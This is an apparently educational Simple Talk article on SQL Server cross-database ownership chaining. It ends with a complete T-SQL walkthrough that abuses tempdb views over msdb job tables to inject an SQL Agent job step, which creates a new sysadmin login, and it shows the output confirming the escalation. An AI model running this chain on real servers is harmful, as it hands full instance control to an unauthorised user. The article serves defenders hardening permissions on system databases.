A dangerous privilege-escalation path exists in SQL Server when cross-database ownership chaining, system database defaults, and overly permissive permissions are combined. Under these conditions, a low-privilege authenticated user can escalate to sysadmin, gaining full control of the instance. This article walks through how an attacker can abuse these mechanics.
Introducing cross-database ownership chaining in SQL Server – and its potential for abuse
Cross-database ownership chaining is a SQL Server feature that controls how permissions are evaluated when objects in one database access objects in another. When enabled, SQL Server may skip permission checks across database boundaries if object ownership conditions are met.
While this mechanism is essential for many built-in SQL Server features and system workflows, it introduces implicit trust relationships between databases. If these trust boundaries are misunderstood or combined with excessive permissions, they can be abused by an attacker to move laterally across databases and escalate privileges.
As documented by Microsoft:
“Enabling cross-database ownership chaining in SQL Server introduces a potential security vulnerability. When this feature is active, a local database user with elevated privileges can exploit ownership chaining to escalate permissions and potentially gain sysadmin access.”
Understanding how SQL Server evaluates permissions is critical to correctly assessing both its legitimate uses and its potential for abuse.
How SQL Server evaluates permissions
It’s first important to understand how SQL Server evaluates permissions to avoid incorrect assumptions.
SQL Server uses ownership chaining to determine whether permission checks on underlying objects can be skipped during execution. This mechanism allows users to interact with complex database logic, such as stored procedures and views, without requiring direct permissions on every underlying table.
When a stored procedure accesses an object in the same database, SQL Server evaluates permissions as follows:
- Verify that the caller has
EXECUTE permission on the stored procedure.
- Compare the owner of the stored procedure with the owner of the referenced object.
- If the owners match, permission checks on the referenced object are skipped.
- If the owners differ, SQL Server enforces normal permission checks.
This is known as an ownership chain. As long as the chain remains unbroken and all objects are owned by the same principal – commonly dbo (database owner) – SQL trusts the execution context and suppresses additional permission validation.
How ownership chaining works in SQL Server
Here’s a practical example of how ownership chaining works in SQL Server:
Scenario
- A table called ‘Salaries’ exists in a database
- A user does not have permission to read from the ‘Salaries’ table
- However, the user does have permission to execute a stored procedure that accesses the ‘Salaries’ table
First, create a login we’ll use as our database owner and add it to the dbcreator server level role:
USE master
GO
CREATE LOGIN AppDbOwner WITH PASSWORD = 'StrongPassword!123';
GO
ALTER SERVER ROLE dbcreator ADD MEMBER AppDbOwner
GO
Now create a login we’ll use as our app user:
CREATE LOGIN AppUser WITH PASSWORD = 'StrongPassword!123';
GO
Under the AppDbOwner login context, create a database called ‘AppDB’ and a user for AppUser inside the database. Notice that AppUser has execute permission on dbo schema.
USE master
GO
EXECUTE AS LOGIN = 'AppDbOwner';
GO
CREATE DATABASE AppDB;
GO
USE AppDB
GO
CREATE USER AppUser FOR LOGIN AppUser;
GO
GRANT EXECUTE ON SCHEMA::dbo TO AppUser
GO
USE master
GO
REVERT;
GO
We’ll now create a table called ‘Salaries’ and a procedure that reads the table:
USE AppDB;
GO
EXECUTE AS LOGIN = 'AppDbOwner';
GO
CREATE TABLE Salaries
(
EmployeeID INT,
Salary MONEY
);
GO
INSERT INTO Salaries VALUES(1, 1000);
GO
CREATE PROCEDURE ReadSalaries
AS
BEGIN
SELECT * FROM Salaries;
END;
GO
REVERT;
GO
The result is as expected: AppUser does not have access to the ‘Salaries’ table:
USE AppDB;
GO
EXECUTE AS LOGIN = 'AppUser';
GO
SELECT * FROM Salaries;
GO
REVERT;
GO
Msg 229, Level 14, State 5, Line 28
The SELECT permission was denied on the object 'Salaries', database 'AppDB', schema 'dbo'.
However, AppUser CAN execute the ReadSalaries procedure:
USE AppDB;
GO
EXECUTE AS LOGIN = 'AppUser';
GO
EXEC ReadSalaries
GO
REVERT;
GO
EmployeeID Salary
———– ———————
1 1000.00
(1 row affected)
The execution succeeds despite AppUser not having any direct permissions on ‘Salaries.’ Since dbo (AppDbOwner) owns both the table and the procedure, no permissions were checked.
Why this behavior works – and is not considered a security flaw
- The procedure owner is dbo (
AppDbOwner)
- The table owner is dbo (
AppDbOwner)
- The ownership chain is intact
- SQL Server skips permission checks on the table
- Only the
EXECUTE permission on the procedure is required
This behavior is by design – so is not considered a security flaw. In summary, this model allows SQL Server to safely expose data through controlled interfaces while preserving strict permission boundaries.
Fast, reliable and consistent SQL Server development…
…with SQL Toolbelt Essentials. 10 ingeniously simple tools for accelerating development, reducing risk, and standardizing workflows.
Learn more & try for free
How to add cross-database access to this scenario
Now, let’s analyze a scenario where the ‘Salaries’ table owner is the same, but the table is stored in a different database.
Create a new database called AppDB_HR and a ‘Salaries’ table on it. We’re also creating a user for AppUser on this database but will not grant any permissions for it. Note that the AppDB_HR database owner is the same as AppDB (AppDbOwner).
USE master
GO
EXECUTE AS LOGIN = 'AppDbOwner';
GO
CREATE DATABASE AppDB_HR;
GO
USE AppDB_HR
GO
CREATE USER AppUser FOR LOGIN AppUser;
GO
CREATE TABLE Salaries
(
EmployeeID INT,
Salary MONEY
);
GO
INSERT INTO Salaries VALUES(1, 1000);
GO
USE master
GO
REVERT;
GO
Now, back on AppDB, let’s recreate the ReadSalaries procedure to access the ‘Salaries’ table on the AppDB_HR database:
USE AppDB
GO
EXECUTE AS LOGIN = 'AppDbOwner';
GO
DROP PROC IF EXISTS ReadSalaries
GO
CREATE PROCEDURE ReadSalaries
AS
BEGIN
SELECT * FROM AppDB_HR.dbo.Salaries;
END;
GO
REVERT;
GO
And here’s what happens when AppUser tries to execute the ReadSalaries procedure:
USE AppDB
GO
EXECUTE AS LOGIN = 'AppUser';
GO
EXEC ReadSalaries
GO
REVERT;
GO
Msg 229, Level 14, State 5, Procedure ReadSalaries, Line 4 [Batch Start Line 128]
The SELECT permission was denied on the object 'Salaries', database 'AppDB_HR', schema 'dbo'.
By default, SQL Server enforces strict isolation between databases. Permissions granted in one database do not automatically carry over to another, even if the same login owns objects in both.
Cross-database chaining can be used to enable this access. While powerful, this feature introduces security risks and is therefore disabled by default.
Let’s enable it on both databases to see how it works:
ALTER DATABASE AppDB_HR SET DB_CHAINING ON
ALTER DATABASE AppDB SET DB_CHAINING ON
GO
Access to the ‘AppDB_HR’ table via the ReadSalaries procedure is now allowed:
USE AppDB
GO
EXECUTE AS LOGIN = 'AppUser';
GO
EXEC ReadSalaries
GO
REVERT;
GO
EmployeeID Salary
———– ———————
1 1000.00
(1 row affected)
Explaining the security implications of Cross DB ownership being enabled by default on master, msdb and tempdb
As discussed earlier, cross-database ownership chaining is disabled by default for user databases. This default protects database boundaries and prevents implicit trust relationships between separate databases. However, cross-database ownership chaining is enabled by default on master, msdb, and tempdb system databases.
While this behavior is necessary (many built-in procedures and features rely on cross-db object access between system DBs), it has important security consequences. This is because system databases are owned by sa – and can’t be changed.
If a low-privilege user gains the ability to create or modify objects in one of these databases, they may be able to leverage cross-database ownership chaining to access or influence objects in another system database. Here’s why:
- Permissions on master, tempdb and msdb must be carefully controlled
- Granting
CONTROL, ALTER, or broad DDL permissions on system databases is extremely dangerous
Explaining privilege escalation to sysadmin in SQL Server (cross-DB ownership and a SQL agent job)
An authenticated, non-sysadmin account with the ability to create objects in tempdb can leverage cross-database ownership chaining to read and perform DML (data manipulation language) against sensitive msdb system tables. For example, msdb.dbo.sysjobs and msdb.dbo.sysjobsteps.
By updating the owner_sid of a SQL Agent job to the [sa] SID (0x01) via an updatable tempdb view that references msdb, an attacker can cause SQL Agent to execute the job steps under the [sa] context. This would then allow for creation of a server principal and subsequent escalation to sysadmin.
Let’s start by creating a regular login with permission to alter and control objects on tempdb:
USE master
GO
CREATE LOGIN AppLogin WITH PASSWORD='StrongPassword!123';
GO
/* Give AppLogin permission to create/read objects on tempdb */
USE tempdb
GO
CREATE USER AppLogin FOR LOGIN AppLogin;
GRANT ALTER TO AppLogin;
GRANT CONTROL TO AppLogin;
GO
Next, using AppLogin1, let’s try to access the sysjobs table on msdb:
USE tempdb
GO
EXECUTE AS LOGIN = 'AppLogin1';
GO
-- AppLogin1 does not have direct permission on msdb tables
SELECT * FROM msdb.dbo.sysjobs
GO
REVERT;
GO
Msg 229, Level 14, State 5, Line 19
The SELECT permission was denied on the object 'sysjobs', database 'msdb', schema 'dbo'.
From the attacker’s perspective, this failure confirms that direct access to msdb is blocked. However, it also highlights an opportunity. Since both tempdb and msdb have ownership chaining enabled and share the same owner (sa), a chained object can be used to bypass this restriction.
So, let’s now check which databases have db chaining enabled:
-- is_db_chaining_on on both DBs tempdb and msdb are set to ON
SELECT name, owner_sid, is_db_chaining_on
FROM sys.databases
WHERE is_db_chaining_on = 1
GO
name owner_sid is_db_chaining_on
------------ ------------- -----------------
master 0x01 1
tempdb 0x01 1
msdb 0x01 1
(3 rows affected)
Database chaining is enabled on both tempdb and msdb, which means I can do the following:
USE tempdb
GO
EXECUTE AS LOGIN = 'AppLogin1';
GO
DROP VIEW IF EXISTS vw_sysjobs
GO
CREATE VIEW vw_sysjobs
AS
SELECT * FROM msdb.dbo.sysjobs
GO
-- And rely on ownership chaining to get access msdb.dbo.sysjobs
SELECT job_id, name, enabled, owner_sid, SUSER_SNAME(owner_sid) AS job_owner
FROM vw_sysjobs WHERE name = 'syspolicy_purge_history'
GO
REVERT;
GO
The results are:
job_id name enabled owner_sid job_owner
------------------------------------ ---------------------------- ------- ----------- -----------
761A6AFC-BE7E-4A82-A021-A7B687AD3F63 syspolicy_purge_history 1 0x01 sa
(1 row affected)
By placing a view in tempdb that references msdb objects, SQL Server treats access to the underlying msdb tables as trusted – despite no explicit permissions being granted.
By default, every SQL Server instance has a job called syspolicy_purge_history which runs (typically) at 2 AM. We could use this job to inject some code to be executed in the job context (sa login). For instance, I could add a new step and wait for its next execution:
USE tempdb
GO
EXECUTE AS LOGIN = 'AppLogin1';
GO
DROP VIEW IF EXISTS vw_sysjobsteps
GO
CREATE VIEW vw_sysjobsteps
AS
SELECT * FROM msdb.dbo.sysjobsteps
GO
-- Inserting a new step to create a sysadmin login
DECLARE @step_uid VARCHAR(250) = NEWID()
INSERT INTO vw_sysjobsteps ([job_id], [step_id], [step_name], [subsystem], [command], [flags], [additional_parameters], [cmdexec_success_code], [on_success_action], [on_success_step_id], [on_fail_action], [on_fail_step_id], [server], [database_name], [database_user_name], [retry_attempts], [retry_interval], [os_run_priority], [output_file_name], [last_run_outcome], [last_run_duration], [last_run_retries], [last_run_date], [last_run_time], [proxy_id], [step_uid])
VALUES (
'{761a6afc-be7e-4a82-a021-a7b687ad3f63}',
4,
'Run my elevated code',
'TSQL',
'-- If login does not exist, create it
IF NOT EXISTS(SELECT * FROM sys.server_principals WHERE name = ''NewSysAdminLogin'')
BEGIN
CREATE LOGIN [NewSysAdminLogin] WITH PASSWORD=N''102030'', CHECK_POLICY=OFF;
ALTER SERVER ROLE [sysadmin] ADD MEMBER [NewSysAdminLogin];
END',
0, NULL, 0, 1, 0, 1, 0, NULL, N'master', NULL, 0, 0, 0, NULL, 0, 0, 0, 0, 0, NULL, @step_uid
)
GO
-- Adjust on_success_action for step 3
UPDATE vw_sysjobsteps SET on_success_action = 3
FROM vw_sysjobsteps
WHERE job_id = '761A6AFC-BE7E-4A82-A021-A7B687AD3F63'
AND step_id = 3
GO
REVERT;
GO
The job has four steps:
-- Check all steps
SELECT job_id, step_id, step_name, on_success_action
FROM vw_sysjobsteps
GO
The results are:
job_id step_id step_name on_success_action
-------------------... ----------- ------------------------------------- ----------
761A6AFC-BE7E-4A82-... 1 Verify that automation is enabled. 3
761A6AFC-BE7E-4A82-... 2 Purge history. 3
761A6AFC-BE7E-4A82-... 3 Erase Phantom System Health Records. 3
761A6AFC-BE7E-4A82-... 4 Run my elevated code 1
(4 rows affected)
Now, we could wait until the next execution, and our code would be executed under sa context. However, if you don’t want to wait, you can use the following code to manually start the job:
-- Force job execution using a high priv account to be able to call
-- sp_start_job of syspolicy_purge_history job
EXECUTE msdb.dbo.sp_start_job N'syspolicy_purge_history';
GO
And now, the login NewSysAdminLogin should be there:
-- Did it created my sysadmin login?
SELECT name, IS_SRVROLEMEMBER('sysadmin', name) AS "IsSysAdmin?"
FROM sys.server_principals
WHERE name = 'NewSysAdminLogin'
GO
name IsSysAdmin?
----------------- -----------
NewSysAdminLogin 1
(1 row affected)
Summary
Cross-database ownership chaining is not inherently a vulnerability; it is a legitimate SQL Server feature designed to enable controlled access patterns and support core engine functionality. However, as demonstrated throughout this article, the combination of system database defaults, shared ownership, and overly permissive permissions makes it highly susceptible to privilege escalation.
The examples shown illustrate how a low-privilege, authenticated user can move laterally across databases and abuse implicit trust boundaries. They can execute code under the sa context without exploiting memory corruption, bugs, or undocumented features.
Ultimately, database boundaries are only meaningful if trust is not implicitly extended across them. Any permission that allows object creation or modification in system databases must be treated as highly sensitive. Roles, grants, and design assumptions that appear harmless in isolation can become critical escalation paths when combined with ownership chaining.
That’s why it’s critical to understand how SQL Server actually evaluates permissions, where implicit trust exists, and how attackers think. Without that knowledge, it’s all too easy to let a “low-privilege” user suddenly become a sysadmin and gain full control of your instance.
Protect your data. Demonstrate compliance.
With Redgate, stay ahead of threats with real-time monitoring and alerts, protect sensitive data with automated discovery & masking, and demonstrate compliance with traceability across every environment.
Learn more
FAQs: The risks of cross-database ownership chaining in SQL Server
1. What is cross-database ownership chaining in SQL Server?
It’s a feature that allows SQL Server to skip permission checks across databases when object ownership matches, enabling smoother access between related database objects.
2. How does SQL Server evaluate permissions with ownership chaining?
SQL Server checks EXECUTE permissions on a procedure, then verifies object ownership. If both objects share the same owner, permission checks on underlying objects may be skipped.
3. Why is cross-database ownership chaining a security risk?
If enabled incorrectly, it can create implicit trust between databases, allowing attackers to escalate privileges or access data across database boundaries.
4. Is cross-database ownership chaining enabled by default?
It is disabled by default on user databases but enabled on system databases like master, msdb, and tempdb for compatibility reasons.
5. Can cross-database ownership chaining lead to privilege escalation?
Yes. In misconfigured environments, attackers may exploit chained ownership and system database access to escalate privileges up to sysadmin level.
The post Cross-database ownership chaining in SQL Server: security risks, behavior, and privilege escalation explained appeared first on Simple Talk.